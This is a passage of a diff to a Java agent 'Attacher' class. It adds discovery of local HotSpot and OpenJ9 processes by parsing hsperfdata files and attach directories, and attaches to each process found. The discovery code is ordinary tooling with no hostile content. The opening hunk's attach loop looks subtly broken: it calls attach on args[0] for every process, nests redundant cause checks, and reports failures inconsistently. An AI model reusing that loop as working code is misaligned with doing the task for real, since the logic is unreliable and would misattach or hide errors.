} else {
for (JavaProcessDescriptor process : processes) {
if (process.getPid().equals(currentPid)) {
continue;
}
try {
Attacher.attach(args[0]);
System.out.println("Attaching to " + process + " ...");
doAttach(process.getPid());
System.out.println(" -> Success");
} catch (Exception e) {
if (!e.getMessage().equals("0")) {
Throwable cause = e.getCause();
if (cause != null) {
if (!cause.getMessage().equals("0")) {
cause = e.getCause();
if (cause != null) {
if (!cause.getMessage().equals("0")) {
throw e;
}
}
}
System.out.println(" -> Failed: " + e.getMessage());
e.printStackTrace();
}
}
}
} else {
doAttach(args[0]);
System.out.println("ok");
}
}
private static void doAttach(String processId) {
try {
Attacher.attach(processId);
} catch (Exception e) {
Throwable currentCause = e;
while (currentCause != null) {
if ("0".equals(currentCause.getMessage())) {
return;
}
currentCause = currentCause.getCause();
}
throw (RuntimeException) e;
}
}
/**
* <p>
@@ -112,6 +142,30 @@ public class Attacher {
install(processId, argument, new AgentProvider.ForExistingAgent(agentJar));
}
/**
* <p>
* Lists all discoverable Java processes on the local host.
* Supports both HotSpot and OpenJ9 JVMs across Windows, macOS, and Linux.
* </p>
*
* @return A list of discovered Java process descriptors.
*/
public static List<JavaProcessDescriptor> listJavaProcesses() {
List<JavaProcessDescriptor> processes = new ArrayList<JavaProcessDescriptor>();
Set<String> seenPids = new HashSet<String>();
for (JavaProcessDescriptor descriptor : HotSpotProcessDiscovery.discover()) {
if (seenPids.add(descriptor.getPid())) {
processes.add(descriptor);
}
}
for (JavaProcessDescriptor descriptor : OpenJ9ProcessDiscovery.discover()) {
if (seenPids.add(descriptor.getPid())) {
processes.add(descriptor);
}
}
return processes;
}
/**
* Installs a Java agent on a target VM.
*
@@ -949,4 +1003,300 @@ public class Attacher {
}
}
}
/**
* Represents a discovered Java process on the local host.
*/
public static class JavaProcessDescriptor {
private final String pid;
private final String mainClass;
private final String vmType;
public JavaProcessDescriptor(String pid, String mainClass, String vmType) {
this.pid = pid;
this.mainClass = mainClass;
this.vmType = vmType;
}
public String getPid() {
return pid;
}
public String getMainClass() {
return mainClass;
}
public String getVmType() {
return vmType;
}
@Override
public String toString() {
StringBuilder sb = new StringBuilder();
sb.append(pid);
if (mainClass.length() > 0) {
sb.append(' ').append(mainClass);
}
sb.append(" (").append(vmType).append(')');
return sb.toString();
}
}
/**
* Discovers running HotSpot JVM processes by scanning {@code hsperfdata_<user>} directories.
*/
private static class HotSpotProcessDiscovery {
private static final int PERFDATA_MAGIC = 0xcafec0c0;
private static final String HSPERFDATA_PREFIX = "hsperfdata_";
private static final String JAVA_COMMAND_KEY = "sun.rt.javaCommand";
private static final byte UNITS_STRING = 5;
private static final int MAX_PERFDATA_SIZE = 1024 * 1024;
private static final int MIN_PERFDATA_SIZE = 32;
private static final int ENTRY_HEADER_SIZE = 20;
static List<JavaProcessDescriptor> discover() {
List<JavaProcessDescriptor> result = new ArrayList<JavaProcessDescriptor>();
Set<String> seen = new HashSet<String>();
for (File tmpDir : getTempDirectories()) {
if (!tmpDir.isDirectory()) {
continue;
}
File[] userDirs = tmpDir.listFiles();
if (userDirs == null) {
continue;
}
for (File userDir : userDirs) {
if (!userDir.isDirectory() || !userDir.getName().startsWith(HSPERFDATA_PREFIX)) {
continue;
}
File[] pidFiles = userDir.listFiles();
if (pidFiles == null) {
continue;
}
for (File pidFile : pidFiles) {
String fileName = pidFile.getName();
if (!pidFile.isFile() || !pidFile.canRead() || !isNumeric(fileName)) {
continue;
}
if (!seen.add(fileName)) {
continue;
}
String javaCommand = parsePerfData(pidFile);
result.add(new JavaProcessDescriptor(fileName, extractMainClass(javaCommand), "HotSpot"));
}
}
}
return result;
}
private static List<File> getTempDirectories() {
List<File> dirs = new ArrayList<File>();
String osName = System.getProperty("os.name", "");
if (osName.startsWith("Windows")) {
dirs.add(new File(System.getProperty("java.io.tmpdir")));
} else {
dirs.add(new File("/tmp"));
String javaIoTmpDir = System.getProperty("java.io.tmpdir");
if (javaIoTmpDir != null && !"/tmp".equals(javaIoTmpDir) && !"/tmp/".equals(javaIoTmpDir)) {
dirs.add(new File(javaIoTmpDir));
}
}
return dirs;
}
private static String parsePerfData(File file) {
FileInputStream fis = null;
try {
fis = new FileInputStream(file);
long fileLength = file.length();
if (fileLength < MIN_PERFDATA_SIZE || fileLength > MAX_PERFDATA_SIZE) {
return "";
}
byte[] data = new byte[(int) fileLength];
int totalRead = 0;
int bytesRead;
while (totalRead < data.length
&& (bytesRead = fis.read(data, totalRead, data.length - totalRead)) != -1) {
totalRead += bytesRead;
}
if (totalRead < MIN_PERFDATA_SIZE) {
return "";
}
ByteBuffer buffer = ByteBuffer.wrap(data, 0, totalRead);
buffer.order(ByteOrder.BIG_ENDIAN);
int magic = buffer.getInt();
if (magic != PERFDATA_MAGIC) {
return "";
}
byte byteOrder = buffer.get();
if (byteOrder == 1) {
buffer.order(ByteOrder.LITTLE_ENDIAN);
}
byte majorVersion = buffer.get();
buffer.get(); // minor version
buffer.get(); // accessible / reserved
if (majorVersion < 2) {
return "";
}
buffer.getInt(); // used
buffer.getInt(); // overflow
buffer.getLong(); // mod_time_stamp
int entryOffset = buffer.getInt();
int numEntries = buffer.getInt();
int pos = entryOffset;
for (int i = 0; i < numEntries && pos >= 0 && pos + ENTRY_HEADER_SIZE <= totalRead; i++) {
buffer.position(pos);
int entryLength = buffer.getInt();
if (entryLength <= 0 || pos + entryLength > totalRead) {
break;
}
int nameOffset = buffer.getInt();
buffer.getInt(); // vector_length
buffer.get(); // data_type
buffer.get(); // flags
byte dataUnits = buffer.get();
buffer.get(); // data_variability
int dataOffset = buffer.getInt();
int nameStart = pos + nameOffset;
if (nameStart < 0 || nameStart >= totalRead) {
pos += entryLength;
continue;
}
int nameEnd = nameStart;
while (nameEnd < totalRead && data[nameEnd] != 0) {
nameEnd++;
}
String name = new String(data, nameStart, nameEnd - nameStart, "UTF-8");
if (JAVA_COMMAND_KEY.equals(name) && dataUnits == UNITS_STRING) {
int dataStart = pos + dataOffset;
if (dataStart < 0 || dataStart >= totalRead) {
return "";
}
int dataEnd = dataStart;
while (dataEnd < totalRead && data[dataEnd] != 0) {
dataEnd++;
}
return new String(data, dataStart, dataEnd - dataStart, "UTF-8");
}
pos += entryLength;
}
return "";
} catch (Exception ignored) {
return "";
} finally {
if (fis != null) {
try {
fis.close();
} catch (IOException ignored) {
/* do nothing */
}
}
}
}
private static boolean isNumeric(String str) {
if (str == null || str.isEmpty()) {
return false;
}
for (int i = 0; i < str.length(); i++) {
if (str.charAt(i) < '0' || str.charAt(i) > '9') {
return false;
}
}
return true;
}
private static String extractMainClass(String javaCommand) {
if (javaCommand == null || javaCommand.isEmpty()) {
return "";
}
int spaceIndex = javaCommand.indexOf(' ');
return spaceIndex > 0 ? javaCommand.substring(0, spaceIndex) : javaCommand;
}
}
/**
* Discovers running OpenJ9 JVM processes by scanning {@code .com_ibm_tools_attach} directories.
*/
private static class OpenJ9ProcessDiscovery {
private static final String ATTACH_DIR_NAME = ".com_ibm_tools_attach";
private static final String ATTACH_INFO_FILE = "attachInfo";
static List<JavaProcessDescriptor> discover() {
List<JavaProcessDescriptor> result = new ArrayList<JavaProcessDescriptor>();
for (File attachDir : getAttachDirectories()) {
if (!attachDir.isDirectory()) {
continue;
}
File[] vmDirs = attachDir.listFiles();
if (vmDirs == null) {
continue;
}
for (File vmDir : vmDirs) {
if (!vmDir.isDirectory()) {
continue;
}
File attachInfo = new File(vmDir, ATTACH_INFO_FILE);
if (!attachInfo.isFile() || !attachInfo.canRead()) {
continue;
}
FileInputStream fis = null;
try {
Properties props = new Properties();
fis = new FileInputStream(attachInfo);
props.load(fis);
String pid = props.getProperty("processId");
String displayName = props.getProperty("displayName", "");
if (pid != null && pid.length() > 0) {
result.add(new JavaProcessDescriptor(pid, displayName, "OpenJ9"));
}
} catch (Exception ignored) {
/* do nothing */
} finally {
if (fis != null) {
try {
fis.close();
} catch (IOException ignored) {
/* do nothing */
}
}
}
}
}
return result;
}
private static List<File> getAttachDirectories() {
List<File> dirs = new ArrayList<File>();
String osName = System.getProperty("os.name", "");
if (osName.startsWith("Windows")) {
dirs.add(new File(System.getProperty("java.io.tmpdir"), ATTACH_DIR_NAME));
} else {
dirs.add(new File("/tmp", ATTACH_DIR_NAME));
String javaIoTmpDir = System.getProperty("java.io.tmpdir");
if (javaIoTmpDir != null && !"/tmp".equals(javaIoTmpDir) && !"/tmp/".equals(javaIoTmpDir)) {
dirs.add(new File(javaIoTmpDir, ATTACH_DIR_NAME));
}
}
String ibmAttachDir = System.getProperty("com.ibm.tools.attach.directory");
if (ibmAttachDir != null) {
dirs.add(new File(ibmAttachDir));
}
return dirs;
}
}
}